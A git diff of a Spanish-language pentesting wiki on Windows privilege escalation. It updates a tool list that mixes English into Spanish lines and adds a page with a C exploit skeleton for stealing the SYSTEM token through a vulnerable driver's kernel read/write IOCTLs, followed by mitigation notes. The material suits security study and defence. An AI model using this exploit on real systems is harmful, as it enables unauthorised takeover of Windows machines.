+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Buscar vulnerabilidades conocidas de privesc (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Busca vulnerabilidades de privesc conocidas (necesita ser compilado usando VisualStudio) ([**precompilado**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera el host buscando configuraciones incorrectas (más una herramienta de recopilación de información que de privesc) (necesita ser compilado) **(**[**precompilado**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrae credenciales de muchos softwares (exe precompilado en github)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Puerto de PowerUp a C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Verifica configuraciones incorrectas (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica posibles configuraciones incorrectas (exe de python). No recomendado. No funciona bien en Win10. +[**Watson**](https://github.com/rasta-mouse/Watson) -- Busca vulnerabilidades conocidas de privesc (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera el host buscando misconfiguraciones (más una herramienta de recopilación de info que de privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrae credenciales de muchos softwares (precompiled exe in github)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Comprueba misconfiguraciones (ejecutable precompilado en github). No recomendado. It does not work well in Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Comprueba posibles misconfiguraciones (exe from python). No recomendado. It does not work well in Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Herramienta creada basada en este post (no necesita accesschk para funcionar correctamente, pero puede usarlo). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Herramienta creada basada en este post (it does not need accesschk to work properly but it can use it). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lee la salida de **systeminfo** y recomienda exploits funcionales (python local)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lee la salida de **systeminfo** y recomienda exploits funcionales (python local) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lee la salida de **systeminfo** y recomienda working exploits (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lee la salida de **systeminfo** andrecommends working exploits (local python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Tienes que compilar el proyecto usando la versión correcta de .NET ([ver esto](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver la versión instalada de .NET en el host víctima, puedes hacer: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1614,4 +1632,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md new file mode 100644 index 000000000..27a216922 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -0,0 +1,122 @@ +# Windows kernel EoP: Token stealing with arbitrary kernel R/W + +{{#include ../../banners/hacktricks-training.md}} + +## Resumen + +Si un driver vulnerable expone un IOCTL que le da a un atacante primitivas de lectura y/o escritura arbitraria en kernel, elevarse a NT AUTHORITY\SYSTEM a menudo se logra robando un Token de SYSTEM. La técnica copia el puntero Token desde el EPROCESS de un proceso SYSTEM al EPROCESS del proceso actual. + +Por qué funciona: +- Cada proceso tiene una estructura EPROCESS que contiene (entre otros campos) un Token (en realidad un EX_FAST_REF a un objeto token). +- El proceso SYSTEM (PID 4) tiene un token con todos los privilegios habilitados. +- Reemplazar el EPROCESS.Token del proceso actual con el puntero al token de SYSTEM hace que el proceso actual se ejecute como SYSTEM inmediatamente. + +> Los offsets en EPROCESS varían entre versiones de Windows. Determínalos dinámicamente (símbolos) o usa constantes específicas por versión. También recuerda que EPROCESS.Token es un EX_FAST_REF (los 3 bits bajos son banderas del contador de referencias). + +## Pasos a alto nivel + +1) Localiza la base de ntoskrnl.exe y resuelve la dirección de PsInitialSystemProcess. +- Desde user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers para obtener las bases de los drivers cargados. +- Añade el offset de PsInitialSystemProcess (desde símbolos/reversing) a la base del kernel para obtener su dirección. +2) Lee el puntero en PsInitialSystemProcess → este es un puntero en kernel al EPROCESS de SYSTEM. +3) Desde el EPROCESS de SYSTEM, lee los offsets UniqueProcessId y ActiveProcessLinks para recorrer la lista doblemente enlazada de estructuras EPROCESS (ActiveProcessLinks.Flink/Blink) hasta encontrar el EPROCESS cuyo UniqueProcessId sea igual a GetCurrentProcessId(). Conserva ambos: +- EPROCESS_SYSTEM (para SYSTEM) +- EPROCESS_SELF (para el proceso actual) +4) Lee el valor del token de SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Enmascara los 3 bits bajos: Token_SYS_masked = Token_SYS & ~0xF (comúnmente ~0xF o ~0x7 dependiendo del build; en x64 se usan los 3 bits bajos — máscara 0xFFFFFFFFFFFFFFF8). +5) Opción A (común): Conserva los 3 bits bajos de tu token actual y únelos al puntero de SYSTEM para mantener consistente el contador de referencias embebido. +- Token_ME = *(EPROCESS_SELF + TokenOffset) +- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) +6) Escribe Token_NEW de vuelta en (EPROCESS_SELF + TokenOffset) usando tu primitiva de escritura en kernel. +7) Tu proceso actual ya es SYSTEM. Opcionalmente lanza un nuevo cmd.exe o powershell.exe para confirmar. + +## Pseudocódigo + +Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface. +```c +#include +#include +#include + +// Device + IOCTLs are driver-specific +#define DEV_PATH "\\\\.\\VulnDrv" +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Version-specific (examples only – resolve per build!) +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies + +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { +struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; +in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); +} +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { +struct { uint64_t addr, val; } in; DWORD ret; +in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); +} + +// Get ntoskrnl base (one option) +uint64_t get_nt_base(void) { +LPVOID drivers[1024]; DWORD cbNeeded; +if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { +return (uint64_t)drivers[0]; // first is typically ntoskrnl +} +return 0; +} + +int main(void) { +HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +if (h == INVALID_HANDLE_VALUE) return 1; + +// 1) Resolve PsInitialSystemProcess +uint64_t nt = get_nt_base(); +uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build + +// 2) Read SYSTEM EPROCESS +uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); + +// 3) Walk ActiveProcessLinks to find current EPROCESS +DWORD myPid = GetCurrentProcessId(); +uint64_t cur = EPROC_SYS; // list is circular +uint64_t EPROC_ME = 0; +do { +uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); +if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } +uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); +cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD +} while (cur != EPROC_SYS); + +// 4) Read tokens +uint64_t tok_sys, tok_me; +kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); +kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); + +// 5) Mask EX_FAST_REF low bits and splice refcount bits +uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds +uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); + +// 6) Write back +kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); + +// 7) We are SYSTEM now +system("cmd.exe"); +return 0; +} +``` +Notas: +- Desplazamientos: Usa WinDbg’s `dt nt!_EPROCESS` con los PDBs del objetivo, o un runtime symbol loader, para obtener offsets correctos. No los codifiques a ciegas. +- Máscara: En x64 el token es un EX_FAST_REF; los 3 bits bajos son bits del contador de referencias. Conservar los bits bajos originales de tu token evita inconsistencias inmediatas en el refcount. +- Estabilidad: Prefiere elevar el proceso actual; si elevas un helper de corta duración puedes perder SYSTEM cuando termine. + +## Detección y mitigación +- La carga de drivers de terceros no firmados o no confiables que exponen IOCTLs potentes es la causa raíz. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard y las reglas de Attack Surface Reduction pueden impedir que drivers vulnerables se carguen. +- EDR puede detectar secuencias sospechosas de IOCTL que implementen lectura/escritura arbitraria y token swaps. + +## Referencias +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) + +{{#include ../../banners/hacktricks-training.md}}